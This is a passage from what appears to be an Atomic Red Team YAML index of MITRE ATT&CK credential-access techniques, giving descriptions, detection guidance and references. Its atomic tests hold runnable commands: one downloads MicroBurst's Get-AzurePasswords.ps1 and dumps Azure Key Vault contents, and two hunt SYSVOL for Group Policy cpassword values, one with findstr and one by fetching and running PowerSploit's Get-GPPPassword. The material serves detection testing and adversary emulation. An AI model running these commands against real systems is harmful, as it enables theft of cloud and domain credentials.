      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - SaaS
      - IaaS
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'Logon Session: Logon Session Creation'
      - 'Web Credential: Web Credential Usage'
      type: attack-pattern
      id: attack-pattern--861b8fd2-57f3-4ee1-ab5d-c19c3b8c7a4a
      created: '2020-12-17T02:14:34.178Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1606/001
        external_id: T1606.001
      - source_name: Volexity SolarWinds
        description: Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds
          Compromise to Breach Organizations. Retrieved December 29, 2020.
        url: https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/
      - source_name: Unit 42 Mac Crypto Cookies January 2019
        description: Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware
          Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019.
        url: https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/
      - source_name: Pass The Cookie
        description: Rehberger, J. (2018, December). Pivot to the Cloud using Pass
          the Cookie. Retrieved April 5, 2019.
        url: https://wunderwuzzi23.github.io/blog/passthecookie.html
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1528:
    technique:
      modified: '2024-03-24T19:41:54.832Z'
      name: Steal Application Access Token
      description: "Adversaries can steal application access tokens as a means of
        acquiring credentials to access remote systems and resources.\n\nApplication
        access tokens are used to make authorized API requests on behalf of a user
        or service and are commonly used as a way to access resources in cloud and
        container-based applications and software-as-a-service (SaaS).(Citation: Auth0
        - Why You Should Always Use Access Tokens to Secure APIs Sept 2019)  Adversaries
        who steal account API tokens in cloud and containerized environments may be
        able to access data and perform actions with the permissions of these accounts,
        which can lead to privilege escalation and further compromise of the environment.\n\nFor
        example, in Kubernetes environments, processes running inside a container
        may communicate with the Kubernetes API server using service account tokens.
        If a container is compromised, an adversary may be able to steal the container’s
        token and thereby gain access to Kubernetes API commands.(Citation: Kubernetes
        Service Accounts)  Similarly, instances within continuous-development / continuous-integration
        (CI/CD) pipelines will often use API tokens to authenticate to other services
        for testing and deployment.(Citation: Cider Security Top 10 CICD Security
        Risks) If these pipelines are compromised, adversaries may be able to steal
        these tokens and leverage their privileges.\n\nToken theft can also occur
        through social engineering, in which case user action may be required to grant
        access. OAuth is one commonly implemented framework that issues tokens to
        users for access to systems. An application desiring access to cloud-based
        services or protected APIs can gain entry using OAuth 2.0 through a variety
        of authorization protocols. An example commonly-used sequence is Microsoft's
        Authorization Code Grant flow.(Citation: Microsoft Identity Platform Protocols
        May 2019)(Citation: Microsoft - OAuth Code Authorization flow - June 2019)
        An OAuth access token enables a third-party application to interact with resources
        containing user data in the ways requested by the application without obtaining
        user credentials. \n \nAdversaries can leverage OAuth authorization by constructing
        a malicious application designed to be granted access to resources with the
        target user's OAuth token.(Citation: Amnesty OAuth Phishing Attacks, August
        2019)(Citation: Trend Micro Pawn Storm OAuth 2017) The adversary will need
        to complete registration of their application with the authorization server,
        for example Microsoft Identity Platform using Azure Portal, the Visual Studio
        IDE, the command-line interface, PowerShell, or REST API calls.(Citation:
        Microsoft - Azure AD App Registration - May 2019) Then, they can send a [Spearphishing
        Link](https://attack.mitre.org/techniques/T1566/002) to the target user to
        entice them to grant access to the application. Once the OAuth access token
        is granted, the application can gain potentially long-term access to features
        of the user account through [Application Access Token](https://attack.mitre.org/techniques/T1550/001).(Citation:
        Microsoft - Azure AD Identity Tokens - Aug 2019)\n\nApplication access tokens
        may function within a limited lifetime, limiting how long an adversary can
        utilize the stolen token. However, in some cases, adversaries can also steal
        application refresh tokens(Citation: Auth0 Understanding Refresh Tokens),
        allowing them to obtain new access tokens without prompting the user.  \n\n"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      x_mitre_contributors:
      - Suzy Schapperle - Microsoft Azure Red Team
      - Shailesh Tiwary (Indian Army)
      - Mark Wee
      - Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)
      - Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)
      - Ram Pliskin, Microsoft Azure Security Center
      - Jack Burns, HubSpot
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Administrators should set up monitoring to trigger automatic alerts when policy criteria are met. For example, using a Cloud Access Security Broker (CASB), admins can create a “High severity app permissions” policy that generates alerts if apps request high severity permissions or send permissions requests for too many users.

        Security analysts can hunt for malicious apps using the tools available in their CASB, identity provider, or resource provider (depending on platform.) For example, they can filter for apps that are authorized by a small number of users, apps requesting high risk permissions, permissions incongruous with the app’s purpose, or apps with old “Last authorized” fields. A specific app can be investigated using an activity log displaying activities the app has performed, although some activities may be mis-logged as being performed by the user. App stores can be useful resources to further investigate suspicious apps.

        Administrators can set up a variety of logs and leverage audit tools to monitor actions that can be conducted as a result of OAuth 2.0 access. For instance, audit reports enable admins to identify privilege escalation actions such as role creations or policy modifications, which could be actions performed after initial access.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - SaaS
      - Office 365
      - Azure AD
      - Google Workspace
      - Containers
      x_mitre_version: '1.3'
      x_mitre_data_sources:
      - 'Active Directory: Active Directory Object Modification'
      - 'User Account: User Account Modification'
      type: attack-pattern
      id: attack-pattern--890c9858-598c-401d-a4d5-c67ebcdd703a
      created: '2019-09-04T15:54:25.684Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1528
        external_id: T1528
      - source_name: Amnesty OAuth Phishing Attacks, August 2019
        description: Amnesty International. (2019, August 16). Evolving Phishing Attacks
          Targeting Journalists and Human Rights Defenders from the Middle-East and
          North Africa. Retrieved October 8, 2019.
        url: https://www.amnesty.org/en/latest/research/2019/08/evolving-phishing-attacks-targeting-journalists-and-human-rights-defenders-from-the-middle-east-and-north-africa/
      - source_name: Auth0 Understanding Refresh Tokens
        description: Auth0 Inc.. (n.d.). Understanding Refresh Tokens. Retrieved December
          16, 2021.
        url: https://auth0.com/learn/refresh-tokens/
      - source_name: Auth0 - Why You Should Always Use Access Tokens to Secure APIs
          Sept 2019
        description: Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure
          APIs. Retrieved September 12, 2019.
        url: https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/
      - source_name: Cider Security Top 10 CICD Security Risks
        description: Daniel Krivelevich and Omer Gil. (n.d.). Top 10 CI/CD Security
          Risks. Retrieved March 24, 2024.
        url: https://www.cidersecurity.io/top-10-cicd-security-risks/
      - source_name: Trend Micro Pawn Storm OAuth 2017
        description: Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication
          in Advanced Social Engineering Attacks. Retrieved October 4, 2019.
        url: https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks
      - source_name: Kubernetes Service Accounts
        description: Kubernetes. (2022, February 26). Configure Service Accounts for
          Pods. Retrieved April 1, 2022.
        url: https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/
      - source_name: Microsoft - Azure AD Identity Tokens - Aug 2019
        description: Microsoft. (2019, August 29). Microsoft identity platform access
          tokens. Retrieved September 12, 2019.
        url: https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens
      - source_name: Microsoft - Azure AD App Registration - May 2019
        description: 'Microsoft. (2019, May 8). Quickstart: Register an application
          with the Microsoft identity platform. Retrieved September 12, 2019.'
        url: https://docs.microsoft.com/en-us/azure/active-directory/develop/quickstart-register-app
      - source_name: Microsoft - OAuth Code Authorization flow - June 2019
        description: Microsoft. (n.d.). Microsoft identity platform and OAuth 2.0
          authorization code flow. Retrieved September 12, 2019.
        url: https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-auth-code-flow
      - source_name: Microsoft Identity Platform Protocols May 2019
        description: Microsoft. (n.d.). Retrieved September 12, 2019.
        url: https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-v2-protocols
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1528
    atomic_tests:
    - name: Azure - Dump All Azure Key Vaults with Microburst
      auto_generated_guid: 1b83cddb-eaa7-45aa-98a5-85fb0a8807ea
      description: |-
        Upon successful execution of this test, the names, locations, and contents of key vaults within an Azure account will be output to a file.
        See - https://www.netspi.com/blog/technical/cloud-penetration-testing/a-beginners-guide-to-gathering-azure-passwords/
      supported_platforms:
      - iaas:azure
      input_arguments:
        username:
          description: Azure AD username
          type: string
          default: 
        password:
          description: Azure AD password
          type: string
          default: T1082Az
        output_file:
          description: File to dump results to
          type: string
          default: "$env:temp\\T1528Test1.txt"
        subscription_id:
          description: Azure subscription id to search
          type: string
          default: 
      dependency_executor_name: powershell
      dependencies:
      - description: 'The Get-AzurePasswords script must exist in PathToAtomicsFolder\..\ExternalPayloads.

          '
        prereq_command: 'if (test-path "PathToAtomicsFolder\..\ExternalPayloads\Get-AzurePasswords.ps1"){exit
          0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          invoke-webrequest "https://raw.githubusercontent.com/NetSPI/MicroBurst/c771c665a2c71f9c5ba474869cd1c211ebee68fd/AzureRM/Get-AzurePasswords.ps1" -outfile "PathToAtomicsFolder\..\ExternalPayloads\Get-AzurePasswords.ps1"
      - description: 'The Azure RM module must be installed.

          '
        prereq_command: 'try {if (Get-InstalledModule -Name AzureRM -ErrorAction SilentlyContinue)
          {exit 0} else {exit 1}} catch {exit 1}

          '
        get_prereq_command: 'Install-Module -Name AzureRM -Force -allowclobber

          '
      - description: 'The Azure module must be installed.

          '
        prereq_command: 'try {if (Get-InstalledModule -Name Azure -ErrorAction SilentlyContinue)
          {exit 0} else {exit 1}} catch {exit 1}

          '
        get_prereq_command: 'Install-Module -Name Azure -Force -allowclobber

          '
      executor:
        command: |
          import-module "PathToAtomicsFolder\..\ExternalPayloads\Get-AzurePasswords.ps1"
          $Password = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
          $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Password
          Connect-AzureRmAccount -Credential $Credential
          Get-AzurePasswords -subscription '#{subscription_id}' > #{output_file}
          cat #{output_file}
        cleanup_command: 'remove-item #{output_file} -force -erroraction silentlycontinue

          '
        name: powershell
        elevation_required: true
  T1552.006:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--8d7bd4f5-3a89-4453-9c82-2c8894d5655e
      type: attack-pattern
      created: '2020-02-11T18:43:06.253Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1552.006
        url: https://attack.mitre.org/techniques/T1552/006
      - source_name: Microsoft GPP 2016
        url: https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn581922(v%3Dws.11)
        description: Microsoft. (2016, August 31). Group Policy Preferences. Retrieved
          March 9, 2020.
      - url: https://msdn.microsoft.com/library/cc422924.aspx
        description: Microsoft. (n.d.). 2.2.1.1.4 Password Encryption. Retrieved April
          11, 2018.
        source_name: Microsoft GPP Key
      - url: https://obscuresecurity.blogspot.co.uk/2012/05/gpp-password-retrieval-with-powershell.html
        description: Campbell, C. (2012, May 24). GPP Password Retrieval with PowerShell.
          Retrieved April 11, 2018.
        source_name: Obscuresecurity Get-GPPPassword
      - description: Sean Metcalf. (2015, December 28). Finding Passwords in SYSVOL
          & Exploiting Group Policy Preferences. Retrieved February 17, 2020.
        url: https://adsecurity.org/?p=2288
        source_name: ADSecurity Finding Passwords in SYSVOL
      modified: '2021-04-29T14:49:39.188Z'
      name: 'Unsecured Credentials: Group Policy Preferences'
      description: |
        Adversaries may attempt to find unsecured credentials in Group Policy Preferences (GPP). GPP are tools that allow administrators to create domain policies with embedded credentials. These policies allow administrators to set local accounts.(Citation: Microsoft GPP 2016)

        These group policies are stored in SYSVOL on a domain controller. This means that any domain user can view the SYSVOL share and decrypt the password (using the AES key that has been made public).(Citation: Microsoft GPP Key)

        The following tools and scripts can be used to gather and decrypt the password file from Group Policy Preference XML files:

        * Metasploit’s post exploitation module: <code>post/windows/gather/credentials/gpp</code>
        * Get-GPPPassword(Citation: Obscuresecurity Get-GPPPassword)
        * gpprefdecrypt.py

        On the SYSVOL share, adversaries may use the following command to enumerate potential GPP XML files: <code>dir /s * .xml</code>
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      x_mitre_detection: "Monitor for attempts to access SYSVOL that involve searching
        for XML files. \n\nDeploy a new XML file with permissions set to Everyone:Deny
        and monitor for Access Denied errors.(Citation: ADSecurity Finding Passwords
        in SYSVOL)"
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'File: File Access'
      - 'Command: Command Execution'
      x_mitre_permissions_required:
      - User
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1552.006
    atomic_tests:
    - name: GPP Passwords (findstr)
      auto_generated_guid: 870fe8fb-5e23-4f5f-b89d-dd7fe26f3b5f
      description: 'Look for the encrypted cpassword value within Group Policy Preference
        files on the Domain Controller. This value can be decrypted with gpp-decrypt
        on Kali Linux.

        '
      supported_platforms:
      - windows
      dependency_executor_name: powershell
      dependencies:
      - description: 'Computer must be domain joined

          '
        prereq_command: 'if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain)
          {exit 0} else {exit 1}

          '
        get_prereq_command: 'Write-Host Joining this computer to a domain must be
          done manually

          '
      executor:
        command: 'findstr /S cpassword %logonserver%\sysvol\*.xml

          '
        name: command_prompt
    - name: GPP Passwords (Get-GPPPassword)
      auto_generated_guid: e9584f82-322c-474a-b831-940fd8b4455c
      description: |
        Look for the encrypted cpassword value within Group Policy Preference files on the Domain Controller.
        This test is intended to be run from a domain joined workstation, not on the Domain Controller itself.
        The Get-GPPPasswords.ps1 executed during this test can be obtained using the get-prereq_commands.

        Successful test execution will either display the credentials found in the GPP files or indicate "No preference files found".
      supported_platforms:
      - windows
      input_arguments:
        gpp_script_url:
          description: URL of the Get-GPPPassword PowerShell Script
          type: url
          default: https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/87630cac639f29c2adcb163f661f02890adf4bdd/Exfiltration/Get-GPPPassword.ps1
        gpp_script_path:
          description: Path to the Get-GPPPassword PowerShell Script
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\Get-GPPPassword.ps1
      dependency_executor_name: powershell
      dependencies:
      - description: 'Get-GPPPassword PowerShell Script must exist at #{gpp_script_path}

          '
        prereq_command: 'if(Test-Path "#{gpp_script_path}") {exit 0 } else {exit 1
          }

          '
        get_prereq_command: |
          New-Item -ItemType Directory (Split-Path "#{gpp_script_path}") -Force | Out-Null
          Invoke-WebRequest #{gpp_script_url} -OutFile "#{gpp_script_path}"
      - description: 'Computer must be domain joined

          '
        prereq_command: 'if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain)
          {exit 0} else {exit 1}

          '
        get_prereq_command: 'Write-Host Joining this computer to a domain must be
          done manually

          '
      executor:
        command: |
          . "#{gpp_script_path}"
          Get-GPPPassword -Verbose
        name: powershell
  T1556.008:
    technique:
      modified: '2023-10-31T14:00:00.188Z'
      name: Network Provider DLL
      description: "Adversaries may register malicious network provider dynamic link
        libraries (DLLs) to capture cleartext user credentials during the authentication
        process. Network provider DLLs allow Windows to interface with specific network
        protocols and can also support add-on credential management functions.(Citation:
        Network Provider API) During the logon process, Winlogon (the interactive
        logon module) sends credentials to the local `mpnotify.exe` process via RPC.
        The `mpnotify.exe` process then shares the credentials in cleartext with registered
        credential managers when notifying that a logon event is happening.(Citation:
        NPPSPY - Huntress)(Citation: NPPSPY Video)(Citation: NPLogonNotify) \n\nAdversaries
        can configure a malicious network provider DLL to receive credentials from
        `mpnotify.exe`.(Citation: NPPSPY) Once installed as a credential manager (via
        the Registry), a malicious DLL can receive and save credentials each time
        a user logs onto a Windows workstation or domain via the `NPLogonNotify()`
        function.(Citation: NPLogonNotify)\n\nAdversaries may target planting malicious
        network provider DLLs on systems known to have increased logon activity and/or
        administrator logon activity, such as servers and domain controllers.(Citation:
        NPPSPY - Huntress)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_contributors:
      - CrowdStrike Falcon OverWatch
      - Jai Minton
      x_mitre_deprecated: false
      x_mitre_detection: ''
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Process: OS API Execution'
      - 'File: File Creation'
      type: attack-pattern
      id: attack-pattern--90c4a591-d02d-490b-92aa-619d9701ac04
      created: '2023-03-30T22:45:00.431Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1556/008
        external_id: T1556.008
      - source_name: NPPSPY - Huntress
        description: " Dray Agha. (2022, August 16). Cleartext Shenanigans: Gifting
          User Passwords to Adversaries With NPPSPY. Retrieved March 30, 2023."
        url: https://www.huntress.com/blog/cleartext-shenanigans-gifting-user-passwords-to-adversaries-with-nppspy
      - source_name: NPPSPY Video
        description: Grzegorz Tworek. (2021, December 14). How winlogon.exe shares
          the cleartext password with custom DLLs. Retrieved March 30, 2023.
        url: https://www.youtube.com/watch?v=ggY3srD9dYs
      - source_name: NPPSPY
        description: Grzegorz Tworek. (2021, December 15). NPPSpy. Retrieved March
          30, 2023.
        url: https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy
      - source_name: Network Provider API
        description: Microsoft. (2021, January 7). Network Provider API. Retrieved
          March 30, 2023.
        url: https://learn.microsoft.com/en-us/windows/win32/secauthn/network-provider-api
      - source_name: NPLogonNotify
        description: Microsoft. (2021, October 21). NPLogonNotify function (npapi.h).
          Retrieved March 30, 2023.
        url: https://learn.microsoft.com/en-us/windows/win32/api/npapi/nf-npapi-nplogonnotify
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1606:
    technique:
      modified: '2023-10-15T11:10:03.428Z'
      name: Forge Web Credentials
      description: "Adversaries may forge credential materials that can be used to
        gain access to web applications or Internet services. Web applications and
        services (hosted in cloud SaaS environments or on-premise servers) often use
        session cookies, tokens, or other materials to authenticate and authorize
        user access.\n\nAdversaries may generate these credential materials in order
        to gain access to web resources. This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539),
        [Steal Application Access Token](https://attack.mitre.org/techniques/T1528),
        and other similar behaviors in that the credentials are new and forged by
        the adversary, rather than stolen or intercepted from legitimate users.\n\nThe
        generation of web credentials often requires secret values, such as passwords,
        [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic
        seed values.(Citation: GitHub AWS-ADFS-Credential-Generator) Adversaries may
        also forge tokens by taking advantage of features such as the `AssumeRole`
        and `GetFederationToken` APIs in AWS, which allow users to request temporary
        security credentials (i.e., [Temporary Elevated Cloud Access](https://attack.mitre.org/techniques/T1548/005)),
        or the `zmprov gdpak` command in Zimbra, which generates a pre-authentication
        key that can be used to generate tokens for any user in the domain.(Citation:
        AWS Temporary Security Credentials)(Citation: Zimbra Preauth)\n\nOnce forged,
        adversaries may use these web credentials to access resources (ex: [Use Alternate
        Authentication Material](https://attack.mitre.org/techniques/T1550)), which
        may bypass multi-factor and other authentication protection mechanisms.(Citation:
        Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)(Citation:
        Microsoft SolarWinds Customer Guidance)  "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      x_mitre_contributors:
      - Dylan Silva, AWS Security
      x_mitre_deprecated: false
      x_mitre_detection: Monitor for anomalous authentication activity, such as logons
        or other user session activity associated with unknown accounts. Monitor for
        unexpected and abnormal access to resources, including access of websites
        and cloud-based applications by the same user in different locations or by
        different systems that do not match expected configurations.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - SaaS
      - Windows
      - macOS
      - Linux
      - Azure AD
      - Office 365
      - Google Workspace
      - IaaS
      x_mitre_version: '1.4'
      x_mitre_data_sources:
      - 'Web Credential: Web Credential Usage'
      - 'Web Credential: Web Credential Creation'
      - 'Logon Session: Logon Session Creation'
      type: attack-pattern
      id: attack-pattern--94cb00a4-b295-4d06-aa2b-5653b9c1be9c
      created: '2020-12-17T02:13:46.247Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1606
        external_id: T1606
      - source_name: AWS Temporary Security Credentials
        description: AWS. (n.d.). Requesting temporary security credentials. Retrieved
          April 1, 2022.
        url: https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_request.html
      - source_name: Unit 42 Mac Crypto Cookies January 2019
        description: Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware
          Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019.
        url: https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/
      - source_name: GitHub AWS-ADFS-Credential-Generator
        description: Damian Hickey. (2017, January 28). AWS-ADFS-Credential-Generator.
          Retrieved December 16, 2020.
        url: https://github.com/damianh/aws-adfs-credential-generator
      - source_name: Microsoft SolarWinds Customer Guidance
        description: MSRC. (2020, December 13). Customer Guidance on Recent Nation-State
          Cyber Attacks. Retrieved December 17, 2020.
        url: https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/
      - source_name: Pass The Cookie
        description: Rehberger, J. (2018, December). Pivot to the Cloud using Pass
          the Cookie. Retrieved April 5, 2019.
        url: https://wunderwuzzi23.github.io/blog/passthecookie.html
      - source_name: Zimbra Preauth
        description: Zimbra. (2023, March 16). Preauth. Retrieved May 31, 2023.
        url: https://wiki.zimbra.com/wiki/Preauth
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1621:
    technique:
      modified: '2024-04-19T04:26:29.365Z'
      name: Multi-Factor Authentication Request Generation
      description: |-
        Adversaries may attempt to bypass multi-factor authentication (MFA) mechanisms and gain access to accounts by generating MFA requests sent to users.

        Adversaries in possession of credentials to [Valid Accounts](https://attack.mitre.org/techniques/T1078) may be unable to complete the login process if they lack access to the 2FA or MFA mechanisms required as an additional credential and security control. To circumvent this, adversaries may abuse the automatic generation of push notifications to MFA services such as Duo Push, Microsoft Authenticator, Okta, or similar services to have the user grant access to their account. If adversaries lack credentials to victim accounts, they may also abuse automatic push notification generation when this option is configured for self-service password reset (SSPR).(Citation: Obsidian SSPR Abuse 2023)

        In some cases, adversaries may continuously repeat login attempts in order to bombard users with MFA push notifications, SMS messages, and phone calls, potentially resulting in the user finally accepting the authentication request in response to “MFA fatigue.”(Citation: Russian 2FA Push Annoyance - Cimpanu)(Citation: MFA Fatigue Attacks - PortSwigger)(Citation: Suspected Russian Activity Targeting Government and Business Entities Around the Globe)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      x_mitre_contributors:
      - Jon Sternstein, Stern Security
      - Pawel Partyka, Microsoft 365 Defender
      - Shanief Webb
      - Obsidian Security
      x_mitre_deprecated: false
      x_mitre_detection: 'Monitor user account logs as well as 2FA/MFA application
        logs for suspicious events: unusual login attempt source location, mismatch
        in location of login attempt and smart device receiving 2FA/MFA request prompts,
        and high volume of repeated login attempts, all of which may indicate user''s
        primary credentials have been compromised minus 2FA/MFA mechanism. '
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      - Office 365
      - Linux
      - macOS
      - IaaS
      - SaaS
      - Azure AD
      - Google Workspace
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'User Account: User Account Authentication'
      - 'Logon Session: Logon Session Metadata'
      - 'Application Log: Application Log Content'
      - 'Logon Session: Logon Session Creation'
      type: attack-pattern
      id: attack-pattern--954a1639-f2d6-407d-aef3-4917622ca493
      created: '2022-04-01T02:15:49.754Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1621
        external_id: T1621
      - source_name: Russian 2FA Push Annoyance - Cimpanu
        description: Catalin Cimpanu. (2021, December 9). Russian hackers bypass 2FA
          by annoying victims with repeated push notifications. Retrieved March 31,
          2022.
        url: https://therecord.media/russian-hackers-bypass-2fa-by-annoying-victims-with-repeated-push-notifications/
      - source_name: MFA Fatigue Attacks - PortSwigger
        description: 'Jessica Haworth. (2022, February 16). MFA fatigue attacks: Users
          tricked into allowing device access due to overload of push notifications.
          Retrieved March 31, 2022.'
        url: https://portswigger.net/daily-swig/mfa-fatigue-attacks-users-tricked-into-allowing-device-access-due-to-overload-of-push-notifications
      - source_name: Suspected Russian Activity Targeting Government and Business
          Entities Around the Globe
        description: Luke Jenkins, Sarah Hawley, Parnian Najafi, Doug Bienstock. (2021,
          December 6). Suspected Russian Activity Targeting Government and Business
          Entities Around the Globe. Retrieved April 15, 2022.
        url: https://www.mandiant.com/resources/russian-targeting-gov-business
      - source_name: Obsidian SSPR Abuse 2023
        description: 'Noah Corradin and Shuyang Wang. (2023, August 1). Behind The
          Breach: Self-Service Password Reset (SSPR) Abuse in Azure AD. Retrieved
          March 28, 2024.'
        url: https://www.obsidiansecurity.com/blog/behind-the-breach-self-service-password-reset-azure-ad/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1552.008:
    technique:
      modified: '2023-04-11T00:34:00.779Z'
      name: Chat Messages
      description: |-
        Adversaries may directly collect unsecured credentials stored or passed through user communication services. Credentials may be sent and stored in user chat communication applications such as email, chat services like Slack or Teams, collaboration tools like Jira or Trello, and any other services that support user communication. Users may share various forms of credentials (such as usernames and passwords, API keys, or authentication tokens) on private or public corporate internal communications channels.

        Rather than accessing the stored chat logs (i.e., [Credentials In Files](https://attack.mitre.org/techniques/T1552/001)), adversaries may directly access credentials within these services on the user endpoint, through servers hosting the services, or through administrator portals for cloud hosted services. Adversaries may also compromise integration tools like Slack Workflows to automatically search through messages to extract user credentials. These credentials may then be abused to perform follow-on activities such as lateral movement or privilege escalation (Citation: Slack Security Risks).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      x_mitre_contributors:
      - Douglas Weir
      x_mitre_deprecated: false
      x_mitre_detection: ''
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Office 365
      - SaaS
      - Google Workspace
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'Application Log: Application Log Content'
      type: attack-pattern
      id: attack-pattern--9664ad0e-789e-40ac-82e2-d7b17fbe8fb3
      created: '2023-03-14T14:38:03.673Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1552/008
        external_id: T1552.008
      - source_name: Slack Security Risks
        description: Michael Osakwe. (2020, November 18). 4 SaaS and Slack Security
          Risks to Consider. Retrieved March 17, 2023.
        url: https://www.nightfall.ai/blog/saas-slack-security-risks-2020
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1212:
    technique:
      modified: '2023-10-15T11:45:21.555Z'
      name: Exploitation for Credential Access
      description: |-
        Adversaries may exploit software vulnerabilities in an attempt to collect credentials. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. 

